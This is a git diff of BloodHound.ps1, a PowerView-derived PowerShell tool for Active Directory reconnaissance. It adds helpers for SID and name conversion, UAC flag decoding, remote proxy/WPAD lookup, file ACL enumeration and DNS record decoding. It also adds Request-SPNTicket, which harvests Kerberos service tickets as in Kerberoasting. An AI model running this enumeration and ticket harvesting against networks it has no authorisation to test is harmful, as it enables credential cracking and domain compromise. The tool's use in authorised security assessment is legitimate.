diff --git a/PowerShell/BloodHound.ps1 b/PowerShell/BloodHound.ps1
index b3ebccaa0..60f526e3f 100644
--- a/PowerShell/BloodHound.ps1
+++ b/PowerShell/BloodHound.ps1
@@ -1,12 +1,13 @@
#requires -version 2
<#
- Customized PowerView instance for BloodHound data collection and ingestion.
+ PowerSploit File: PowerView.ps1
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
+
#>
########################################################
@@ -707,6 +708,108 @@ function struct
}
+########################################################
+#
+# Misc. helpers
+#
+########################################################
+
+filter Get-IniContent {
+<#
+ .SYNOPSIS
+
+ This helper parses an .ini file into a proper PowerShell object.
+
+ Author: 'The Scripting Guys'
+ Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
+
+ .LINK
+
+ https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
+#>
+ [CmdletBinding()]
+ Param(
+ [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
+ [Alias('FullName')]
+ [ValidateScript({ Test-Path -Path $_ })]
+ [String[]]
+ $Path
+ )
+
+ ForEach($TargetPath in $Path) {
+ $IniObject = @{}
+ Switch -Regex -File $TargetPath {
+ "^\[(.+)\]" # Section
+ {
+ $Section = $matches[1].Trim()
+ $IniObject[$Section] = @{}
+ $CommentCount = 0
+ }
+ "^(;.*)$" # Comment
+ {
+ $Value = $matches[1].Trim()
+ $CommentCount = $CommentCount + 1
+ $Name = 'Comment' + $CommentCount
+ $IniObject[$Section][$Name] = $Value
+ }
+ "(.+?)\s*=(.*)" # Key
+ {
+ $Name, $Value = $matches[1..2]
+ $Name = $Name.Trim()
+ $Values = $Value.split(',') | ForEach-Object {$_.Trim()}
+ if($Values -isnot [System.Array]) {$Values = @($Values)}
+ $IniObject[$Section][$Name] = $Values
+ }
+ }
+ $IniObject
+ }
+}
+
+filter Export-PowerViewCSV {
+<#
+ .SYNOPSIS
+
+ This helper exports an -InputObject to a .csv in a thread-safe manner
+ using a mutex. This is so the various multi-threaded functions in
+ PowerView has a thread-safe way to export output to the same file.
+
+ Based partially on Dmitry Sotnikov's Export-CSV code
+ at http://poshcode.org/1590
+
+ .LINK
+
+ http://poshcode.org/1590
+ http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
+#>
+ Param(
+ [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
+ [System.Management.Automation.PSObject[]]
+ $InputObject,
+
+ [Parameter(Mandatory=$True, Position=0)]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $OutFile
+ )
+
+ $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation
+
+ # mutex so threaded code doesn't stomp on the output file
+ $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex';
+ $Null = $Mutex.WaitOne()
+
+ if (Test-Path -Path $OutFile) {
+ # hack to skip the first line of output if the file already exists
+ $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
+ }
+ else {
+ $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
+ }
+
+ $Mutex.ReleaseMutex()
+}
+
+
filter Get-IPAddress {
<#
.SYNOPSIS
@@ -756,6 +859,62 @@ filter Get-IPAddress {
}
+filter Convert-NameToSid {
+<#
+ .SYNOPSIS
+
+ Converts a given user/group name to a security identifier (SID).
+
+ .PARAMETER ObjectName
+
+ The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
+
+ .PARAMETER Domain
+
+ Specific domain for the given user account, defaults to the current domain.
+
+ .EXAMPLE
+
+ PS C:\> Convert-NameToSid 'DEV\dfm'
+#>
+ [CmdletBinding()]
+ param(
+ [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
+ [String]
+ [Alias('Name')]
+ $ObjectName,
+
+ [String]
+ $Domain
+ )
+
+ $ObjectName = $ObjectName -Replace "/","\"
+
+ if($ObjectName.Contains("\")) {
+ # if we get a DOMAIN\user format, auto convert it
+ $Domain = $ObjectName.Split("\")[0]
+ $ObjectName = $ObjectName.Split("\")[1]
+ }
+ elseif(-not $Domain) {
+ $Domain = (Get-NetDomain).Name
+ }
+
+ try {
+ $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName))
+ $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
+
+ $Out = New-Object PSObject
+ $Out | Add-Member Noteproperty 'ObjectName' $ObjectName
+ $Out | Add-Member Noteproperty 'SID' $SID
+ $Out
+ }
+ catch {
+ Write-Verbose "Invalid object/name: $Domain\$ObjectName"
+ $Null
+ }
+}
+
+
filter Convert-SidToName {
<#
.SYNOPSIS
@@ -783,8 +942,7 @@ filter Convert-SidToName {
# try to resolve any built-in SIDs first
# from https://support.microsoft.com/en-us/kb/243330
- Switch ($SID2)
- {
+ Switch ($SID2) {
'S-1-0' { 'Null Authority' }
'S-1-0-0' { 'Nobody' }
'S-1-1' { 'World Authority' }
@@ -853,7 +1011,7 @@ filter Convert-SidToName {
}
}
catch {
- Write-Debug "Invalid SID: $SID"
+ Write-Verbose "Invalid SID: $SID"
$SID
}
}
@@ -913,17 +1071,17 @@ filter Convert-ADName {
)
$NameTypes = @{
- "Canonical" = 2
- "NT4" = 3
- "Simple" = 5
+ 'Canonical' = 2
+ 'NT4' = 3
+ 'Simple' = 5
}
- if(!$PSBoundParameters['InputType']) {
+ if(-not $PSBoundParameters['InputType']) {
if( ($ObjectName.split('/')).Count -eq 2 ) {
$ObjectName = $ObjectName.replace('/', '\')
}
- if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+$") {
+ if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+") {
$InputType = 'NT4'
}
elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") {
@@ -941,7 +1099,7 @@ filter Convert-ADName {
$ObjectName = $ObjectName.replace('/', '\')
}
- if(!$PSBoundParameters['OutputType']) {
+ if(-not $PSBoundParameters['OutputType']) {
$OutputType = Switch($InputType) {
'NT4' {'Canonical'}
'Simple' {'NT4'}
@@ -971,7 +1129,7 @@ filter Convert-ADName {
Invoke-Method $Translate "Init" (1, $Domain)
}
catch [System.Management.Automation.MethodInvocationException] {
- Write-Debug "Error with translate init in Convert-ADName: $_"
+ Write-Verbose "Error with translate init in Convert-ADName: $_"
}
Set-Property $Translate "ChaseReferral" (0x60)
@@ -981,181 +1139,533 @@ filter Convert-ADName {
(Invoke-Method $Translate "Get" ($NameTypes[$OutputType]))
}
catch [System.Management.Automation.MethodInvocationException] {
- Write-Debug "Error with translate Set/Get in Convert-ADName: $_"
+ Write-Verbose "Error with translate Set/Get in Convert-ADName: $_"
}
}
-filter Get-NameField {
+function ConvertFrom-UACValue {
<#
.SYNOPSIS
-
- Helper that attempts to extract appropriate field names from
- passed computer objects.
- .PARAMETER Object
+ Converts a UAC int value to human readable form.
- The passed object to extract name fields from.
+ .PARAMETER Value
- .PARAMETER DnsHostName
-
- A DnsHostName to extract through ValueFromPipelineByPropertyName.
+ The int UAC value to convert.
- .PARAMETER Name
-
- A Name to extract through ValueFromPipelineByPropertyName.
+ .PARAMETER ShowAll
+
+ Show all UAC values, with a + indicating the value is currently set.
.EXAMPLE
- PS C:\> Get-NetComputer -FullData | Get-NameField
+ PS C:\> ConvertFrom-UACValue -Value 66176
+
+ Convert the UAC value 66176 to human readable format.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue
+
+ Convert the UAC value for 'jason' to human readable format.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll
+
+ Convert the UAC value for 'jason' to human readable format, showing all
+ possible UAC values.
#>
+
[CmdletBinding()]
param(
- [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
- [Object]
- $Object,
-
- [Parameter(ValueFromPipelineByPropertyName = $True)]
- [String]
- $DnsHostName,
+ [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
+ $Value,
- [Parameter(ValueFromPipelineByPropertyName = $True)]
- [String]
- $Name
+ [Switch]
+ $ShowAll
)
- if($PSBoundParameters['DnsHostName']) {
- $DnsHostName
- }
- elseif($PSBoundParameters['Name']) {
- $Name
+ begin {
+ # values from https://support.microsoft.com/en-us/kb/305144
+ $UACValues = New-Object System.Collections.Specialized.OrderedDictionary
+ $UACValues.Add("SCRIPT", 1)
+ $UACValues.Add("ACCOUNTDISABLE", 2)
+ $UACValues.Add("HOMEDIR_REQUIRED", 8)
+ $UACValues.Add("LOCKOUT", 16)
+ $UACValues.Add("PASSWD_NOTREQD", 32)
+ $UACValues.Add("PASSWD_CANT_CHANGE", 64)
+ $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
+ $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
+ $UACValues.Add("NORMAL_ACCOUNT", 512)
+ $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
+ $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
+ $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
+ $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
+ $UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
+ $UACValues.Add("SMARTCARD_REQUIRED", 262144)
+ $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
+ $UACValues.Add("NOT_DELEGATED", 1048576)
+ $UACValues.Add("USE_DES_KEY_ONLY", 2097152)
+ $UACValues.Add("DONT_REQ_PREAUTH", 4194304)
+ $UACValues.Add("PASSWORD_EXPIRED", 8388608)
+ $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
+ $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
}
- elseif($Object) {
- if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) {
- # objects from Get-NetComputer
- $Object.dnshostname
+
+ process {
+
+ $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
+
+ if($Value -is [Int]) {
+ $IntValue = $Value
}
- elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) {
- # objects from Get-NetDomainController
- $Object.name
+ elseif ($Value -is [PSCustomObject]) {
+ if($Value.useraccountcontrol) {
+ $IntValue = $Value.useraccountcontrol
+ }
}
else {
- # strings and catch alls
- $Object
+ Write-Warning "Invalid object input for -Value : $Value"
+ return $Null
}
- }
- else {
- return $Null
+
+ if($ShowAll) {
+ foreach ($UACValue in $UACValues.GetEnumerator()) {
+ if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
+ $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
+ }
+ else {
+ $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
+ }
+ }
+ }
+ else {
+ foreach ($UACValue in $UACValues.GetEnumerator()) {
+ if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
+ $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
+ }
+ }
+ }
+ $ResultUACValues
}
}
-function Convert-LDAPProperty {
+filter Get-Proxy {
<#
.SYNOPSIS
- Helper that converts specific LDAP property result fields.
- Used by several of the Get-Net* function.
+ Enumerates the proxy server and WPAD conents for the current user.
- .PARAMETER Properties
+ .PARAMETER ComputerName
- Properties object to extract out LDAP fields for display.
+ The computername to enumerate proxy settings on, defaults to local host.
+
+ .EXAMPLE
+
+ PS C:\> Get-Proxy
+
+ Returns the current proxy settings.
#>
param(
- [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
+ [Parameter(ValueFromPipeline=$True)]
[ValidateNotNullOrEmpty()]
- $Properties
+ [String]
+ $ComputerName = $ENV:COMPUTERNAME
)
- $ObjectProperties = @{}
+ try {
+ $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName)
+ $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings")
+ $ProxyServer = $RegKey.GetValue('ProxyServer')
+ $AutoConfigURL = $RegKey.GetValue('AutoConfigURL')
- $Properties.PropertyNames | ForEach-Object {
- if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) {
- # convert the SID to a string
- $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value
- }
- elseif($_ -eq "objectguid") {
- # convert the GUID to a string
- $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
- }
- elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) {
- # convert timestamps
- if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
- # if we have a System.__ComObject
- $Temp = $Properties[$_][0]
- [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
- [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
- $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
- }
- else {
- $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
- }
- }
- elseif($Properties[$_][0] -is [System.MarshalByRefObject]) {
- # try to convert misc com objects
- $Prop = $Properties[$_]
+ $Wpad = ""
+ if($AutoConfigURL -and ($AutoConfigURL -ne "")) {
try {
- $Temp = $Prop[$_][0]
- Write-Verbose $_
- [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
- [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
- $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
+ $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL)
}
catch {
- $ObjectProperties[$_] = $Prop[$_]
+ Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL"
}
}
- elseif($Properties[$_].count -eq 1) {
- $ObjectProperties[$_] = $Properties[$_][0]
+
+ if($ProxyServer -or $AutoConfigUrl) {
+
+ $Properties = @{
+ 'ProxyServer' = $ProxyServer
+ 'AutoConfigURL' = $AutoConfigURL
+ 'Wpad' = $Wpad
+ }
+
+ New-Object -TypeName PSObject -Property $Properties
}
else {
- $ObjectProperties[$_] = $Properties[$_]
+ Write-Warning "No proxy settings found for $ComputerName"
}
}
-
- New-Object -TypeName PSObject -Property $ObjectProperties
+ catch {
+ Write-Warning "Error enumerating proxy settings for $ComputerName : $_"
+ }
}
-
-########################################################
-#
-# Domain info functions below.
-#
-########################################################
-
-filter Get-DomainSearcher {
+function Request-SPNTicket {
<#
.SYNOPSIS
+
+ Request the kerberos ticket for a specified service principal name (SPN).
+
+ .PARAMETER SPN
- Helper used by various functions that takes an ADSpath and
- domain specifier and builds the correct ADSI searcher object.
+ The service principal name to request the ticket for. Required.
- .PARAMETER Domain
+ .EXAMPLE
- The domain to use for the query, defaults to the current domain.
+ PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local"
+
+ Request a kerberos service ticket for the specified SPN.
- .PARAMETER DomainController
+ .EXAMPLE
- Domain controller to reflect LDAP queries through.
+ PS C:\> "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Request-SPNTicket
- .PARAMETER ADSpath
+ Request kerberos service tickets for all SPNs passed on the pipeline.
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ .EXAMPLE
- .PARAMETER ADSprefix
+ PS C:\> Get-NetUser -SPN | Request-SPNTicket
- Prefix to set for the searcher (like "CN=Sites,CN=Configuration")
+ Request kerberos service tickets for all users with non-null SPNs.
+#>
- .PARAMETER PageSize
+ [CmdletBinding()]
+ Param (
+ [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('ServicePrincipalName')]
+ [String[]]
+ $SPN
+ )
- The PageSize to set for the LDAP searcher object.
+ begin {
+ Add-Type -AssemblyName System.IdentityModel
+ }
- .PARAMETER Credential
+ process {
+ Write-Verbose "Requesting ticket for: $SPN"
+ New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPN
+ }
+}
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+
+function Get-PathAcl {
+<#
+ .SYNOPSIS
+
+ Enumerates the ACL for a given file path.
+
+ .PARAMETER Path
+
+ The local/remote path to enumerate the ACLs for.
+
+ .PARAMETER Recurse
+
+ If any ACL results are groups, recurse and retrieve user membership.
+
+ .EXAMPLE
+
+ PS C:\> Get-PathAcl "\\SERVER\Share\"
+
+ Returns ACLs for the given UNC share.
+#>
+ [CmdletBinding()]
+ param(
+ [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
+ [String]
+ $Path,
+
+ [Switch]
+ $Recurse
+ )
+
+ begin {
+
+ function Convert-FileRight {
+
+ # From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
+
+ [CmdletBinding()]
+ param(
+ [Int]
+ $FSR
+ )
+
+ $AccessMask = @{
+ [uint32]'0x80000000' = 'GenericRead'
+ [uint32]'0x40000000' = 'GenericWrite'
+ [uint32]'0x20000000' = 'GenericExecute'
+ [uint32]'0x10000000' = 'GenericAll'
+ [uint32]'0x02000000' = 'MaximumAllowed'
+ [uint32]'0x01000000' = 'AccessSystemSecurity'
+ [uint32]'0x00100000' = 'Synchronize'
+ [uint32]'0x00080000' = 'WriteOwner'
+ [uint32]'0x00040000' = 'WriteDAC'
+ [uint32]'0x00020000' = 'ReadControl'
+ [uint32]'0x00010000' = 'Delete'
+ [uint32]'0x00000100' = 'WriteAttributes'
+ [uint32]'0x00000080' = 'ReadAttributes'
+ [uint32]'0x00000040' = 'DeleteChild'
+ [uint32]'0x00000020' = 'Execute/Traverse'
+ [uint32]'0x00000010' = 'WriteExtendedAttributes'
+ [uint32]'0x00000008' = 'ReadExtendedAttributes'
+ [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
+ [uint32]'0x00000002' = 'WriteData/AddFile'
+ [uint32]'0x00000001' = 'ReadData/ListDirectory'
+ }
+
+ $SimplePermissions = @{
+ [uint32]'0x1f01ff' = 'FullControl'
+ [uint32]'0x0301bf' = 'Modify'
+ [uint32]'0x0200a9' = 'ReadAndExecute'
+ [uint32]'0x02019f' = 'ReadAndWrite'
+ [uint32]'0x020089' = 'Read'
+ [uint32]'0x000116' = 'Write'
+ }
+
+ $Permissions = @()
+
+ # get simple permission
+ $Permissions += $SimplePermissions.Keys | % {
+ if (($FSR -band $_) -eq $_) {
+ $SimplePermissions[$_]
+ $FSR = $FSR -band (-not $_)
+ }
+ }
+
+ # get remaining extended permissions
+ $Permissions += $AccessMask.Keys |
+ ? { $FSR -band $_ } |
+ % { $AccessMask[$_] }
+
+ ($Permissions | ?{$_}) -join ","
+ }
+ }
+
+ process {
+
+ try {
+ $ACL = Get-Acl -Path $Path
+
+ $ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
+
+ $Names = @()
+ if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') {
+ $Object = Get-ADObject -SID $_.IdentityReference
+ $Names = @()
+ $SIDs = @($Object.objectsid)
+
+ if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) {
+ $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid
+ }
+
+ $SIDs | ForEach-Object {
+ $Names += ,@($_, (Convert-SidToName $_))
+ }
+ }
+ else {
+ $Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value))
+ }
+
+ ForEach($Name in $Names) {
+ $Out = New-Object PSObject
+ $Out | Add-Member Noteproperty 'Path' $Path
+ $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)
+ $Out | Add-Member Noteproperty 'IdentityReference' $Name[1]
+ $Out | Add-Member Noteproperty 'IdentitySID' $Name[0]
+ $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
+ $Out
+ }
+ }
+ }
+ catch {
+ Write-Warning $_
+ }
+ }
+}
+
+
+filter Get-NameField {
+<#
+ .SYNOPSIS
+
+ Helper that attempts to extract appropriate field names from
+ passed computer objects.
+
+ .PARAMETER Object
+
+ The passed object to extract name fields from.
+
+ .PARAMETER DnsHostName
+
+ A DnsHostName to extract through ValueFromPipelineByPropertyName.
+
+ .PARAMETER Name
+
+ A Name to extract through ValueFromPipelineByPropertyName.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer -FullData | Get-NameField
+#>
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Object]
+ $Object,
+
+ [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [String]
+ $DnsHostName,
+
+ [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [String]
+ $Name
+ )
+
+ if($PSBoundParameters['DnsHostName']) {
+ $DnsHostName
+ }
+ elseif($PSBoundParameters['Name']) {
+ $Name
+ }
+ elseif($Object) {
+ if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) {
+ # objects from Get-NetComputer
+ $Object.dnshostname
+ }
+ elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) {
+ # objects from Get-NetDomainController
+ $Object.name
+ }
+ else {
+ # strings and catch alls
+ $Object
+ }
+ }
+ else {
+ return $Null
+ }
+}
+
+
+function Convert-LDAPProperty {
+<#
+ .SYNOPSIS
+
+ Helper that converts specific LDAP property result fields.
+ Used by several of the Get-Net* function.
+
+ .PARAMETER Properties
+
+ Properties object to extract out LDAP fields for display.
+#>
+ param(
+ [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
+ [ValidateNotNullOrEmpty()]
+ $Properties
+ )
+
+ $ObjectProperties = @{}
+
+ $Properties.PropertyNames | ForEach-Object {
+ if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) {
+ # convert the SID to a string
+ $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value
+ }
+ elseif($_ -eq "objectguid") {
+ # convert the GUID to a string
+ $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
+ }
+ elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) {
+ # convert timestamps
+ if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
+ # if we have a System.__ComObject
+ $Temp = $Properties[$_][0]
+ [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
+ [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
+ $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
+ }
+ else {
+ $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
+ }
+ }
+ elseif($Properties[$_][0] -is [System.MarshalByRefObject]) {
+ # try to convert misc com objects
+ $Prop = $Properties[$_]
+ try {
+ $Temp = $Prop[$_][0]
+ Write-Verbose $_
+ [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
+ [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
+ $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
+ }
+ catch {
+ $ObjectProperties[$_] = $Prop[$_]
+ }
+ }
+ elseif($Properties[$_].count -eq 1) {
+ $ObjectProperties[$_] = $Properties[$_][0]
+ }
+ else {
+ $ObjectProperties[$_] = $Properties[$_]
+ }
+ }
+
+ New-Object -TypeName PSObject -Property $ObjectProperties
+}
+
+
+
+########################################################
+#
+# Domain info functions below.
+#
+########################################################
+
+filter Get-DomainSearcher {
+<#
+ .SYNOPSIS
+
+ Helper used by various functions that takes an ADSpath and
+ domain specifier and builds the correct ADSI searcher object.
+
+ .PARAMETER Domain
+
+ The domain to use for the query, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER ADSpath
+
+ The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
+
+ .PARAMETER ADSprefix
+
+ Prefix to set for the searcher (like "CN=Sites,CN=Configuration")
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
.EXAMPLE
@@ -1188,14 +1698,13 @@ filter Get-DomainSearcher {
$Credential
)
- if(!$Credential) {
- if(!$Domain){
+ if(-not $Credential) {
+ if(-not $Domain) {
$Domain = (Get-NetDomain).name
}
- elseif(!$DomainController) {
+ elseif(-not $DomainController) {
try {
- # if there's no -DomainController specified, try to pull the primary DC
- # to reflect queries through
+ # if there's no -DomainController specified, try to pull the primary DC to reflect queries through
$DomainController = ((Get-NetDomain).PdcRoleOwner).Name
}
catch {
@@ -1203,7 +1712,8 @@ filter Get-DomainSearcher {
}
}
}
- elseif (!$DomainController) {
+ elseif (-not $DomainController) {
+ # if a DC isn't specified
try {
$DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
}
@@ -1221,24 +1731,24 @@ filter Get-DomainSearcher {
if($DomainController) {
$SearchString += $DomainController
if($Domain){
- $SearchString += "/"
+ $SearchString += '/'
}
}
if($ADSprefix) {
- $SearchString += $ADSprefix + ","
+ $SearchString += $ADSprefix + ','
}
if($ADSpath) {
- if($ADSpath -like "GC://*") {
+ if($ADSpath -Match '^GC://') {
# if we're searching the global catalog
- $DN = $AdsPath
- $SearchString = ""
+ $DN = $AdsPath.ToUpper().Trim('/')
+ $SearchString = ''
}
else {
- if($ADSpath -like "LDAP://*") {
+ if($ADSpath -match '^LDAP://') {
if($ADSpath -match "LDAP://.+/.+") {
- $SearchString = ""
+ $SearchString = ''
}
else {
$ADSpath = $ADSpath.Substring(7)
@@ -1271,40 +1781,394 @@ filter Get-DomainSearcher {
}
-filter Get-NetDomain {
+filter Convert-DNSRecord {
<#
.SYNOPSIS
- Returns a given domain object.
+ Decodes a binary DNS record.
- .PARAMETER Domain
+ Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
- The domain name to query for, defaults to the current domain.
+ .PARAMETER DNSRecord
- .PARAMETER Credential
+ The domain to query for zones, defaults to the current domain.
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+ .LINK
- .EXAMPLE
+ https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
+#>
+ param(
+ [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]
+ [Byte[]]
+ $DNSRecord
+ )
- PS C:\> Get-NetDomain -Domain testlab.local
+ function Get-Name {
+ # modified decodeName from https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
+ [CmdletBinding()]
+ param(
+ [Byte[]]
+ $Raw
+ )
- .EXAMPLE
+ [Int]$Length = $Raw[0]
+ [Int]$Segments = $Raw[1]
+ [Int]$Index = 2
+ [String]$Name = ""
- PS C:\> "testlab.local" | Get-NetDomain
+ while ($Segments-- -gt 0)
+ {
+ [Int]$SegmentLength = $Raw[$Index++]
+ while ($SegmentLength-- -gt 0) {
+ $Name += [Char]$Raw[$Index++]
+ }
+ $Name += "."
+ }
+ $Name
+ }
- .LINK
+ $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
+ $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
+ $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)
- http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
-#>
+ $TTLRaw = $DNSRecord[12..15]
+ # reverse for big endian
+ $Null = [array]::Reverse($TTLRaw)
+ $TTL = [BitConverter]::ToUInt32($TTLRaw, 0)
- param(
- [Parameter(ValueFromPipeline=$True)]
- [String]
- $Domain,
+ $Age = [BitConverter]::ToUInt32($DNSRecord, 20)
+ if($Age -ne 0) {
+ $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()
+ }
+ else {
+ $TimeStamp = "[static]"
+ }
- [Management.Automation.PSCredential]
+ $DNSRecordObject = New-Object PSObject
+
+ if($RDataType -eq 1) {
+ $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
+ $Data = $IP
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
+ }
+
+ elseif($RDataType -eq 2) {
+ $NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
+ $Data = $NSName
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
+ }
+
+ elseif($RDataType -eq 5) {
